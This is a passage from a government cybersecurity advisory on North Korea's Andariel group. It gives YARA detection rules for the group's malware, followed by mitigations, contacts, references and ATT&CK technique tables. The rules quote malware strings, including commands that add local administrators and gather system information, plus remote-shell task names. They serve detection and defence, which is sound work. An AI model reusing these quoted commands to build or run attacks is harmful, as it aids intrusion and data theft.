        (all of ($c*)) or (all of ($Socks*)))
}
```

```
rule Andariel_Agni
{
    strings:
        $xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 }
        $stackstrings = {C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24}
    condition:
        uint16(0) == 0x5a4d and (#xor > 100 and #stackstrings > 5)
}
```

```
rule Andariel_GoLang_validalpha_handshake
{
    strings:
        $ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 }
```

```
    condition:
        all of them
}
```

```
rule Andariel_GoLang_validalpha_tasks
{
    strings:
        $ = "main.ScreenMonitThread"
        $ = "main.CmdShell"
        $ = "main.GetAllFoldersAndFiles"
        $ = "main.SelfDelete"
    condition:
        all of them
}
```

```
rule Andariel_GoLang_validalpha_BlackString
{
    strings:
    $ = "I:/01___Tools/02__RAT/Black"
    condition:
    uint16(0) == 0x5A4D and all of them
}
```

```
rule INDICATOR_EXE_Packed_VMProtect
        strings:
        $s1 = ".vmp0" fullword ascii
        $s2 = ".vmp1" fullword ascii
    condition:
        uint16(0) == 0x5a4d and all of them or
        for any i in (0 .. pe.number_of_sections) : (
            (
                pe.sections[i].name == ".vmp0" or
                pe.sections[i].name == ".vmp1"
            )
        )
}
```

```
rule INDICATOR_EXE_Packed_Themida
        strings:
        $s1 = ".themida" fullword ascii
    condition:
        uint16(0) == 0x5a4d and all of them or
        for any i in (0 .. pe.number_of_sections) : (
            (
                pe.sections[i].name == ".themida"
            )
        )
}
```

```
rule Andariel_elf_backdoor_fipps
{
strings:
        $a = "found mac address"
        $b = "RecvThread"
        $c = "OpenSSL-1.0.0-fipps"
        $d = "Disconnected!"
    condition:
        (all of them) and uint32(0) == 0x464c457f
```

```
}
```

```
rule Andariel_bindshell
{
strings:
 $str_comspec = "COMSPEC"
 $str_consolewindow = "GetConsoleWindow"
 $str_ShowWindow = "ShowWindow"
 $str_WSASocketA = "WSASocketA"
 $str_CreateProcessA = "CreateProcessA"
 $str_port = {B9 4D 05 00 00 89}
condition:
uint16(0) == 0x5A4D and all of them
}
```

```
rule Andariel_grease2
{
strings:
 $str_rdpconf = "c: \\windows\\temp\\RDPConf.exe" fullword nocase
 $str_rdpwinst = "c: \\windows\\temp\\RDPWInst.exe" fullword nocase
 $str_net_user = "net user"
 $str_admins_add = "net localgroup administrators"
condition:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_NoPineapple_Dtrack_unpacked
{
strings:
 $str_nopineapple = "< No Pineapple! >"
 $str_qt_library = "Qt 5.12.10"
 $str_xor = {8B 10 83 F6 ?? 83 FA 01 77}
condition:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_dtrack_unpacked
{
strings:
 $str_mutex = "MTX_Global"
 $str_cmd_1 = "/c net use \\\\" wide
 $str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide
 $str_cmd_3 = "/c move /y %s \\\\" wide
 $str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide
condition:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_TigerRAT_crowdsourced_rule {
   strings:
      $m1 = ".?AVModuleKeyLogger@@" fullword ascii
      $m2 = ".?AVModulePortForwarder@@" fullword ascii
      $m3 = ".?AVModuleScreenCapture@@" fullword ascii
      $m4 = ".?AVModuleShell@@" fullword ascii
      $s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
```

```
        $s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
        $s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
        $s4 = "del \"%s\"%s \"%s\" goto " ascii
        $s5 = "[<<]" fullword ascii
    condition:
        uint16(0) == 0x5a4d and (all of ($s*) or (all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
}
```

```
rule win_tiger_rat_auto {
    strings:
        $sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 }
            // n = 5, score = 200
            //   33c0               | jmp             5
            //   89442438           | dec             eax
            //   89442430           | mov             eax, ecx
            //   448bcf             | movzx           eax, byte ptr [eax]
            //   4533c0             | dec             eax

        $sequence_1 = { 41b901000000 488bd6 488bcb e8???????? }
            // n = 4, score = 200
            //   41b901000000       | dec             eax
            //   488bd6             | mov             eax, dword ptr [ecx]
            //   488bcb             | jmp             8
            //   e8????????         |

        $sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 }
            // n = 4, score = 200
            //   4881ec90050000     | test            eax, eax
            //   8b01               | jns             0x16
            //   8985c8040000       | dec             eax
            //   8b4104             | mov             eax, dword ptr [ecx]

        $sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 }
            // n = 4, score = 200
            //   488b01             | mov             edx, esi
            //   ff10               | dec             eax
            //   488b4f08           | mov             ecx, ebx
            //   4c8d4c2430         | inc             ecx

        $sequence_4 = { 488b01 ff10 488b4e18 488b01 }
            // n = 4, score = 200
            //   488b01             | dec             eax
            //   ff10               | cmp             dword ptr [ecx + 0x18], 0x10
            //   488b4e18           | dec             eax
            //   488b01             | sub             esp, 0x590

        $sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 }
            // n = 4, score = 200
            //   4881eca0000000     | mov             eax, dword ptr [ecx]
            //   33c0               | mov             dword ptr [ebp + 0x4c8], eax
            //   488bd9             | mov             eax, dword ptr [ecx + 4]
            //   488d4c2432         | mov             dword ptr [ebp + 0x4d0], eax

        $sequence_6 = { 488b01 eb03 488bc1 0fb600 }
```

```
        // n = 4, score = 200
        //   488b01              | inc             ecx
        //   eb03              | mov             ebx, dword ptr [ebp + ebp]
        //   488bc1              | inc             ecx
        //   0fb600              | movups            xmmword ptr [edi], xmm0

    $sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 }
        // n = 5, score = 200
        //   488b01              | sub             esp, 0x30
        //   8b10              | dec             ecx
        //   895124              | mov             ebx, eax
        //   448b4124              | dec             eax
        //   4585c0              | mov             ecx, eax

    $sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 }
        // n = 4, score = 100
        //   4c8d0d31eb0000      | jne             0x1e6
        //   c1e918              | dec             eax
        //   c1e808              | lea             ecx, [0xbda0]
        //   41bf00000080        | dec             esp

    $sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 }
        // n = 7, score = 100
        //   488bd8              | dec             eax
        //   4885c0              | mov             ebx, eax
        //   752d              | dec             eax
        //   ff15????????        |
        //   83f857              | test            eax, eax
        //   0f85e0010000        | jne             0x2f
        //   488d0da0bd0000      | cmp             eax, 0x57

    $sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b }
        // n = 5, score = 100
        //   75d4              | lea             ecx, [0xeb31]
        //   488d1d7f6c0100      | shr             ecx, 0x18
        //   488b4bf8            | shr             eax, 8
        //   4885c9              | inc             ecx
        //   740b              | mov             edi, 0x80000000

    $sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b
b9f4ffffff }
        // n = 7, score = 100
        //   0f85d9000000        | jne             0xffffffd6
        //   488d15d0c90000      | dec             eax
        //   41b810200100        | lea             ebx, [0x16c7f]
        //   488bcd              | dec             eax
        //   e8????????          |
        //   eb6b              | mov             ecx, dword ptr [ebx - 8]
        //   b9f4ffffff          | dec             eax

    $sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905????????
488d05a0550000 488905???????? }
        // n = 6, score = 100
```

```
        //   48890d????????      |
        //   488905????????      |
        //   488d05ae610000      | test            ecx, ecx
        //   488905????????      |
        //   488d05a0550000      | je              0x10
        //   488905????????      |

    $sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 }
        // n = 6, score = 100
        //   8bcf              | mov             eax, 0x12010
        //   e8????????        |
        //   488b7c2448        | dec             eax
        //   85c0              | mov             ecx, ebp
        //   0f8440030000      | jmp             0x83
        //   488d0560250100    | mov             ecx, 0xfffffff4

    $sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905????????
8b05???????? }
        // n = 7, score = 100
        //   ff15????????      |
        //   8b05????????      |
        //   2305????????      |
        //   ba02000000        | dec             eax
        //   33c9              | lea             eax, [0x61ae]
        //   8905????????      |
        //   8b05????????      |

    $sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 }
        // n = 5, score = 100
        //   4883ec30          | jne             0xdf
        //   498bd8            | dec             eax
        //   e8????????        |
        //   488bc8            | lea             edx, [0xc9d0]
        //   4885c0            | inc             ecx

  condition:
    7 of them and filesize < 557056
}
```

```
rule win_dtrack_auto {
  strings:
    $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
        // n = 7, score = 400
        //   52                | push            edx
        //   8b4508            | mov             eax, dword ptr [ebp + 8]
        //   50                | push            eax
        //   e8????????        |
        //   83c414            | add             esp, 0x14
        //   8b4d10            | mov             ecx, dword ptr [ebp + 0x10]
        //   51                | push            ecx

    $sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae
c78544f6ffff00000000 }
        // n = 7, score = 300
```

```
    //   3a4101              | cmp             al, byte ptr [ecx + 1]
    //   7523              | jne             0x25
    //   83854cf6ffff02      | add             dword ptr [ebp - 0x9b4], 2
    //   838550f6ffff02      | add             dword ptr [ebp - 0x9b0], 2
    //   80bd4af6ffff00      | cmp             byte ptr [ebp - 0x9b6], 0
    //   75ae              | jne             0xfffffb0
    //   c78544f6ffff00000000    | mov   dword ptr [ebp - 0x9bc], 0

    $sequence_2 = { 50 ff15???????? a3???????? 68???????? e8???????? 83c404 50 }
    // n = 7, score = 300
    //   50              | push            eax
    //   ff15????????        |
    //   a3????????          |
    //   68????????          |
    //   e8????????          |
    //   83c404            | add             esp, 4
    //   50              | push            eax

    $sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? }
    // n = 5, score = 300
    //   8d8dd4faffff        | lea             ecx, [ebp - 0x52c]
    //   51              | push            ecx
    //   e8????????          |
    //   83c408            | add             esp, 8
    //   8b15????????        |

    $sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? }
    // n = 5, score = 300
    //   8855f5            | mov             byte ptr [ebp - 0xb], dl
    //   6a5c              | push            0x5c
    //   8b450c            | mov             eax, dword ptr [ebp + 0xc]
    //   50              | push            eax
    //   e8????????          |

    $sequence_5 = { 51 e8???????? 83c410 8b558c 52 }
    // n = 5, score = 300
    //   51              | push            ecx
    //   e8????????          |
    //   83c410            | add             esp, 0x10
    //   8b558c            | mov             edx, dword ptr [ebp - 0x74]
    //   52              | push            edx

    $sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? }
    // n = 6, score = 300
    //   8b4d0c            | mov             ecx, dword ptr [ebp + 0xc]
    //   51              | push            ecx
    //   68????????          |
    //   8d9560eaffff        | lea             edx, [ebp - 0x15a0]
    //   52              | push            edx
    //   e8????????          |

    $sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 }
    // n = 5, score = 300
```

```
    //   83c001              | add             eax, 1
    //   8945f4              | mov             dword ptr [ebp - 0xc], eax
    //   837df420            | cmp             dword ptr [ebp - 0xc], 0x20
    //   7d2c                | jge             0x2e
    //   8b4df8              | mov             ecx, dword ptr [ebp - 8]

  $sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 }
    // n = 4, score = 300
    //   83c001              | add             eax, 1
    //   89856cf6ffff        | mov             dword ptr [ebp - 0x994], eax
    //   8b8d70f6ffff        | mov             ecx, dword ptr [ebp - 0x990]
    //   8a11                | mov             dl, byte ptr [ecx]

  $sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 }
    // n = 6, score = 200
    //   0355f0              | add             edx, dword ptr [ebp - 0x10]
    //   0fb602              | movzx           eax, byte ptr [edx]
    //   0fb64df7            | movzx           ecx, byte ptr [ebp - 9]
    //   33c1                | xor             eax, ecx
    //   0fb655fc            | movzx           edx, byte ptr [ebp - 4]
    //   33c2                | xor             eax, edx

  $sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 }
    // n = 5, score = 200
    //   d1e9                | shr             ecx, 1
    //   894df8              | mov             dword ptr [ebp - 8], ecx
    //   8b5518              | mov             edx, dword ptr [ebp + 0x18]
    //   8955fc              | mov             dword ptr [ebp - 4], edx
    //   c745f000000000      | mov             dword ptr [ebp - 0x10], 0

  $sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 }
    // n = 6, score = 200
    //   8b4df0              | mov             ecx, dword ptr [ebp - 0x10]
    //   3b4d10              | cmp             ecx, dword ptr [ebp + 0x10]
    //   0f8d90000000        | jge             0x96
    //   8b5508              | mov             edx, dword ptr [ebp + 8]
    //   0355f0              | add             edx, dword ptr [ebp - 0x10]
    //   0fb602              | movzx           eax, byte ptr [edx]

  $sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 }
    // n = 6, score = 200
    //   894d14              | mov             dword ptr [ebp + 0x14], ecx
    //   8b45f8              | mov             eax, dword ptr [ebp - 8]
    //   c1e018              | shl             eax, 0x18
    //   8b4dfc              | mov             ecx, dword ptr [ebp - 4]
    //   c1e908              | shr             ecx, 8
    //   0bc1                | or              eax, ecx

  $sequence_13 = { 0bc1 894518 8b5514 8955f8 }
    // n = 4, score = 200
    //   0bc1                | or              eax, ecx
    //   894518              | mov             dword ptr [ebp + 0x18], eax
    //   8b5514              | mov             edx, dword ptr [ebp + 0x14]
```

```
        // 8955f8          | mov             dword ptr [ebp - 8], edx

    $sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 }
        // n = 6, score = 200
        // 8b5514          | mov             edx, dword ptr [ebp + 0x14]
        // 8955f8          | mov             dword ptr [ebp - 8], edx
        // 8b4518          | mov             eax, dword ptr [ebp + 0x18]
        // 8945fc          | mov             dword ptr [ebp - 4], eax
        // e9????????      |
        // 8be5            | mov             esp, ebp

    condition:
        7 of them and filesize < 1736704
}
```

Mitigation Measures

The authoring agencies recommend implementing the mitigations below to improve your organization's cybersecurity posture based on the threat actors' activity.

Log4Shell and Other Log4j Vulnerabilities

Defenders should consult the joint Cybersecurity Advisory titled "Mitigating Log4Shell and Other Log4j-Related Vulnerabilities" and CISA's "Apache Log4j Vulnerability" guidance. Organizations can mitigate the risks posed by the vulnerability by identifying assets affected by Log4Shell and other Log4j-related vulnerabilities and upgrading Log4j assets and affected products to the latest version.

Note: CVE-2021-44228 'Log4Shell' was disclosed in December 2021 and affects the Log4j library prior to version 2.17.0.

Defenders should remain alert to vendor software updates, and initiate hunt and incident response procedures to detect possible Log4Shell exploitation.

Web Shell Malware

Web shell malware is deployed by adversaries on a victim's web server to execute arbitrary system commands. The NSA and Australian Signals Directorate's report titled "Detect and Prevent Web Shell Malware" provides mitigating actions to identify and recover from web shells.

Preventing exploitation of web-facing servers often depends on maintaining an inventory of systems and applications, rapidly applying patches as they are released, putting vulnerable or potentially risky systems behind reverse proxies that require authentication, and deploying and configuring Web Application Firewalls (WAFs).

Endpoint Activity

Preventing and detecting further adversary activity should focus on deploying endpoint agents or other monitoring mechanisms, blocking unnecessary outbound connections, blocking external access to administrator panels and services or turning them off entirely, and segmenting the network to prevent lateral movement from a compromised web server to critical assets.

Command Line Activity and Remote Access

Monitoring for suspicious command-line activity, implementing multi-factor authentication for remote access services, and properly segmenting and using allow-listing tools for critical assets can protect against malicious activity by RGB 3rd Bureau's Andariel group and other cyber threat actors.

Packing

Signatures for Themida, VMProtect and a number of other packers are available here; however, the signatures will not identify every file packed using these applications.

Additional Mitigation Measures for Malicious Activities

- Check for security vulnerabilities, apply patches, and update to the latest version of software
- Encrypt all sensitive data including personal information
- Block access to unused ports
- Change passwords when they are suspected of being compromised
- Alert on unexpected use of dual-use applications
- Strengthen the subscriber identity authentication process for leased servers

DPRK Rewards for Justice

The U.S. and ROK Governments encourage victims to report suspicious activities, including those related to suspected DPRK cyber activities, to relevant authorities. If you provide information about illicit DPRK activities in cyberspace, including past or ongoing operations, you may be eligible for a reward. If you have information about illicit DPRK activities in cyberspace, including past or ongoing operations, providing such information through the Department of State's Rewards for Justice program could make you eligible to receive an award of up to $10 million. For further details, please visit https://rewardsforjustice.net/.

Acknowledgements

Mandiant and Microsoft Threat Intelligence contributed to this CSA.

Disclaimer of Endorsement

Your organization has no obligation to respond or provide information in response to this product. If, after reviewing the information provided, your organization decides to provide information to the authorizing agencies, it must do so consistent with applicable state and federal law.

The information in this report is being provided "as is" for informational purposes only. The authoring agencies do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or service by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the co-authors.

Version History

July 25, 2024: Initial version.

August 6, 2024: Updated “Credential Access” and “Commodity Malware and Dual-Use Applications” sections.

Trademark Recognition

Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at Report@cisa.dhs.gov or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/fieldoffices.

DC3 Cyber Forensics Laboratory (CFL): afosi.dc3.cflintake@us.af.mil

DoD-Defense Industrial Base (DIB) Collaborative Information Sharing Environment (DCISE): dc3.dcise@us.af.mil

NSA Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov

NSA Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov

NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov

Republic of Korea organizations: If you suspect cyber incidents involving state actors, including Andariel, or discover similar cases, please contact the relevant authorities below.

National Intelligence Service: www.nis.go.kr, +82 111

References

AhnLab Security Emergency Response Center:

- https://asec.ahnlab.com/en/56405/
- https://asec.ahnlab.com/en/59073/
- https://asec.ahnlab.com/en/66088/

Boredhackerblog: http://www.boredhackerblog.info/2022/11/openssl-100-fipps-linux-backdoor-notes.html

Cisco Talos Intelligence blogs:

- https://blog.talosintelligence.com/lazarus-three-rats/
- https://blog.talosintelligence.com/lazarus-magicrat/
- https://blog.talosintelligence.com/lazarus-collectionrat/
- https://blog.talosintelligence.com/lazarus-quiterat/

DCSO blog: https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499

Github.com/ditekshen: https://github.com/ditekshen/detection/blob/master/yara/indicator_packed.yar

JPCERT blogs:

- https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html
- https://blogs.jpcert.or.jp/en/2022/07/yamabot.html

Mandiant blogs:

- https://www.mandiant.com/resources/blog/north-korea-cyber-structure-alignment-2023
- https://www.mandiant.com/resources/blog/mapping-dprk-groups-to-government

Microsoft blogs:

- https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
- https://www.microsoft.com/en-us/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/

NCSC Guidance

- Alert: Apache Log4j Vulnerabilities: https://www.ncsc.gov.uk/news/apache-log4j-vulnerability
- Information: https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know

Symantec blog: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research

VMware blog: https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html

WithSecure Labs report: https://labs.withsecure.com/publications/no-pineapple-dprk-targeting-of-medical-research-and-technology-sector

Appendix: MITRE ATT&CK Techniques and Software

The tactics and techniques referenced in this advisory are identified in **Table 3 – Table 12**.

Table 3. Reconnaissance and Enumeration

Technique Title	ID	Use
Gather Victim Org Information	T1591	The actors gather information about the victim's organization that can be used during targeting.
Gather Victim Host Information	T1592	The actors gather information about the victim's hosts that can be used during targeting.
Active Scanning	T1595	The actors execute active reconnaissance scans to gather information that can be used during targeting.
Search Open Technical Databases	T1596	The actors search freely available technical databases for information about victims that can be used during targeting.

Table 4. Resource Development, Tooling, and Remote Access Tools (RATs)

Technique Title	ID	Use
OS Credential Dumping	T1003	The actors attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.
Exfiltration Over Alternative Protocol	T1048	The actors steal data by exfiltrating it over a different protocol than that of the existing command and control channel.
Proxy	T1090	The actors use a connection proxy to direct network traffic between systems or act as intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.
Archive Collected Data	T1560	The actors compress and/or encrypt data that is collected prior to exfiltration.
Protocol Tunneling	T1572	The actors tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.
Develop Capabilities: Malware	T1587.001	The actors develop malware and malware components that can be used during targeting.

Technique Title	ID	Use
Develop Capabilities: Exploits	T1587.004	The actors develop exploits that can be used during targeting.

Table 5. Software used for Resource Development, Tooling, and RATs

Software Title	ID	Use
Mimikatz	S0002	The actors use a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.
AdFind	S0552	The actors use a free command-line query tool that can be used for gathering information from the Active Directory.

Table 6. Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	The actors attempt to exploit a weakness in an Internet-facing host or system to initially access a network.

Table 7. Execution

Technique Title	ID	Use
Command and Scripting Interpreter	T1059	The actors abuse command and script interpreters to execute commands, scripts, or binaries.

Table 8. Defense Evasion

Technique Title	ID	Use
Obfuscated Files or Information	T1027	The actors attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its content on the system or in transit.

Table 9. Credential Access

Technique Title	ID	Use
OS Credential Dumping	T1003	The actors attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.

Table 10. Discovery and Lateral Movement

Technique Title	ID	Use
Remote Services	T1021	The actors use valid accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC.
Remote Services: SMB/Windows Admin Shares	T1021.002	The actors use valid accounts to interact with a remote network share using Server Message Block (SMB).
File and Directory Discovery	T1083	The actors enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Account Discovery	T1087	The actors attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.

Table 11. Command and Control

Technique Title	ID	Use
Application Layer Protocol	T1071	The actors establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, telnet, DNP3, and Modbus.
Proxy	T1090	The actors use a connection proxy to direct network traffic between systems or act as an intermediary for network communications.

Table 12. Collection and Exfiltration

Technique Title	ID	Use
Data from Network Shared Drive	T1039	The actors search network shares on computers they have compromised to find files of interest.

Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	The actors steal data by exfiltrating it over a different protocol than that of the existing command and control server.
Archive Collected Data	T1560	The actors compress and/or encrypt data that is collected prior to exfiltration.
Exfiltration Over Web Service	T1567	The actors use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.